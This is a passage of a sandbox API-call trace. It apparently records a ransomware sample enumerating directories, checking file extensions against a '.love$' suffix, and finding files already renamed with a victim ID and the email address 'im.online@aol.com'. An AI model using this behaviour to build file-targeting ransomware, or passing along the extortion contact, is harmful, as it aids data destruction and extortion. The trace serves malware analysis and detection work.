lpString2="ve$") returned -1 [0223.031] lstrlenW (lpString=".dxf") returned 4 [0223.031] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".edml") returned 5 [0223.031] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0223.031] lstrlenW (lpString=".efd") returned 4 [0223.031] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".elf") returned 4 [0223.031] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".emf") returned 4 [0223.031] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".emz") returned 4 [0223.031] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".epf") returned 4 [0223.031] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".eps") returned 4 [0223.031] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".epsf") returned 5 [0223.031] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0223.031] lstrlenW (lpString=".epsp") returned 5 [0223.031] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0223.032] lstrlenW (lpString=".erf") returned 4 [0223.032] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".exr") returned 4 [0223.032] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".f4v") returned 4 [0223.032] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".fido") returned 5 [0223.032] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0223.032] lstrlenW (lpString=".flm") returned 4 [0223.032] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".flv") returned 4 [0223.032] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".frm") returned 4 [0223.032] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".fxg") returned 4 [0223.032] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".geo") returned 4 [0223.032] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".gif") returned 4 [0223.032] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".grs") returned 4 [0223.032] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".gz") returned 3 [0223.032] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0223.032] lstrlenW (lpString=".h") returned 2 [0223.032] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0223.032] lstrlenW (lpString=".hdr") returned 4 [0223.032] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".hpp") returned 4 [0223.032] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".hta") returned 4 [0223.032] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".htc") returned 4 [0223.032] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".htm") returned 4 [0223.032] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0223.032] lstrlenW (lpString=".html") returned 5 [0223.033] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0223.033] lstrlenW (lpString=".icb") returned 4 [0223.033] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".ics") returned 4 [0223.033] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".iff") returned 4 [0223.033] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".inc") returned 4 [0223.033] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".indd") returned 5 [0223.033] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0223.033] lstrlenW (lpString=".ini") returned 4 [0223.033] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".iqy") returned 4 [0223.033] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".j2c") returned 4 [0223.033] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".j2k") returned 4 [0223.033] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".java") returned 5 [0223.033] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0223.033] lstrlenW (lpString=".jp2") returned 4 [0223.033] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".jpc") returned 4 [0223.033] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".jpe") returned 4 [0223.033] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".jpeg") returned 5 [0223.033] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0223.033] lstrlenW (lpString=".jpf") returned 4 [0223.033] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".jpg") returned 4 [0223.033] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0223.033] lstrlenW (lpString=".jpx") returned 4 [0223.033] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".js") returned 3 [0223.034] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0223.034] lstrlenW (lpString=".jsf") returned 4 [0223.034] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".json") returned 5 [0223.034] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0223.034] lstrlenW (lpString=".jsp") returned 4 [0223.034] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".kdc") returned 4 [0223.034] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".kmz") returned 4 [0223.034] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".kwm") returned 4 [0223.034] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".lasso") returned 6 [0223.034] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0223.034] lstrlenW (lpString=".lbi") returned 4 [0223.034] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".lgf") returned 4 [0223.034] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".lgp") returned 4 [0223.034] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".log") returned 4 [0223.034] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".m1v") returned 4 [0223.034] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".m4a") returned 4 [0223.034] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".m4v") returned 4 [0223.034] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".max") returned 4 [0223.034] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0223.034] lstrlenW (lpString=".md") returned 3 [0223.034] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0223.034] lstrlenW (lpString=".mda") returned 4 [0223.034] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mdb") returned 4 [0223.035] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mde") returned 4 [0223.035] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mdf") returned 4 [0223.035] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mdw") returned 4 [0223.035] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mef") returned 4 [0223.035] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mft") returned 4 [0223.035] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mfw") returned 4 [0223.035] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mht") returned 4 [0223.035] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mhtml") returned 6 [0223.035] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0223.035] lstrlenW (lpString=".mka") returned 4 [0223.035] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mkidx") returned 6 [0223.035] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0223.035] lstrlenW (lpString=".mkv") returned 4 [0223.035] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mos") returned 4 [0223.035] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mov") returned 4 [0223.035] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mp3") returned 4 [0223.035] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mp4") returned 4 [0223.035] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0223.035] lstrlenW (lpString=".mpeg") returned 5 [0223.035] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0223.035] lstrlenW (lpString=".mpg") returned 4 [0223.036] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".mpv") returned 4 [0223.036] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".mrw") returned 4 [0223.036] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".msg") returned 4 [0223.036] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".mxl") returned 4 [0223.036] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".myd") returned 4 [0223.036] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".myi") returned 4 [0223.036] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".nef") returned 4 [0223.036] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".nrw") returned 4 [0223.036] lstrcmpiW (lpString1=".nrw", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".obj") returned 4 [0223.036] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".odb") returned 4 [0223.036] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".odc") returned 4 [0223.036] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".odm") returned 4 [0223.036] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".odp") returned 4 [0223.036] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".ods") returned 4 [0223.036] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".oft") returned 4 [0223.036] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".one") returned 4 [0223.036] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0223.036] lstrlenW (lpString=".onepkg") returned 7 [0223.036] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0223.036] lstrlenW (lpString=".onetoc2") returned 8 [0223.036] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0223.037] lstrlenW (lpString=".opt") returned 4 [0223.037] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".oqy") returned 4 [0223.037] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".orf") returned 4 [0223.037] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".p12") returned 4 [0223.037] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".p7b") returned 4 [0223.037] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".p7c") returned 4 [0223.037] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pam") returned 4 [0223.037] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pbm") returned 4 [0223.037] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pct") returned 4 [0223.037] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pcx") returned 4 [0223.037] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pdd") returned 4 [0223.037] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pdf") returned 4 [0223.037] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pdp") returned 4 [0223.037] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pef") returned 4 [0223.037] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pem") returned 4 [0223.037] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pff") returned 4 [0223.037] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0223.037] lstrlenW (lpString=".pfm") returned 4 [0223.037] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".pfx") returned 4 [0223.038] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".pgm") returned 4 [0223.038] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".php") returned 4 [0223.038] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".php3") returned 5 [0223.038] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0223.038] lstrlenW (lpString=".php4") returned 5 [0223.038] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0223.038] lstrlenW (lpString=".php5") returned 5 [0223.038] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0223.038] lstrlenW (lpString=".phtml") returned 6 [0223.038] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0223.038] lstrlenW (lpString=".pict") returned 5 [0223.038] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0223.038] lstrlenW (lpString=".pl") returned 3 [0223.038] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0223.038] lstrlenW (lpString=".pls") returned 4 [0223.038] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".pm") returned 3 [0223.038] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0223.038] lstrlenW (lpString=".png") returned 4 [0223.038] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".pnm") returned 4 [0223.038] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".pot") returned 4 [0223.038] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".potm") returned 5 [0223.038] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0223.038] lstrlenW (lpString=".potx") returned 5 [0223.038] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0223.038] lstrlenW (lpString=".ppa") returned 4 [0223.038] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0223.038] lstrlenW (lpString=".ppam") returned 5 [0223.038] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0223.039] lstrlenW (lpString=".ppm") returned 4 [0223.039] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".pps") returned 4 [0223.039] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".ppsm") returned 5 [0223.039] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0223.039] lstrlenW (lpString=".ppt") returned 4 [0223.039] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".pptm") returned 5 [0223.039] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0223.039] lstrlenW (lpString=".pptx") returned 5 [0223.039] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0223.039] lstrlenW (lpString=".prn") returned 4 [0223.039] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".ps") returned 3 [0223.039] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0223.039] lstrlenW (lpString=".psb") returned 4 [0223.039] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".psd") returned 4 [0223.039] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".pst") returned 4 [0223.039] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".ptx") returned 4 [0223.039] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".pub") returned 4 [0223.039] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".pwm") returned 4 [0223.039] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0223.039] lstrlenW (lpString=".pxr") returned 4 [0223.039] lstrcmpiW (lpString1=".pxr", lpString2="ove$") returned -1 [0223.039] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa550a23e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa550a23e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa561b12b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa438f74a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa438f74a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa444e4e0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.040] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa438f74a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa438f74a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa444e4e0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.040] FindClose (in: hFindFile=0x6d0248 | out: hFindFile=0x6d0248) returned 1 [0223.041] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.041] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1028", cAlternateFileName="")) returned 1 [0223.041] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.041] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6cffc8 [0223.043] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5384b00, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.043] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa561b12b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa561b12b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa595cb5b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.043] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa577d6d8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa577d6d8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5792c5b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.043] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa535af60, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa535af60, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.044] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa535af60, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa535af60, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5384b00, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.044] FindClose (in: hFindFile=0x6cffc8 | out: hFindFile=0x6cffc8) returned 1 [0223.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.045] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1029", cAlternateFileName="")) returned 1 [0223.045] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.045] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6cff48 [0223.047] FindNextFileW (in: hFindFile=0x6cff48, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5443a8f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5443a8f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.047] FindNextFileW (in: hFindFile=0x6cff48, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa595cb5b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa595cb5b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5982c57, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.048] FindNextFileW (in: hFindFile=0x6cff48, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa5982c57, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa5982c57, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa59a9001, 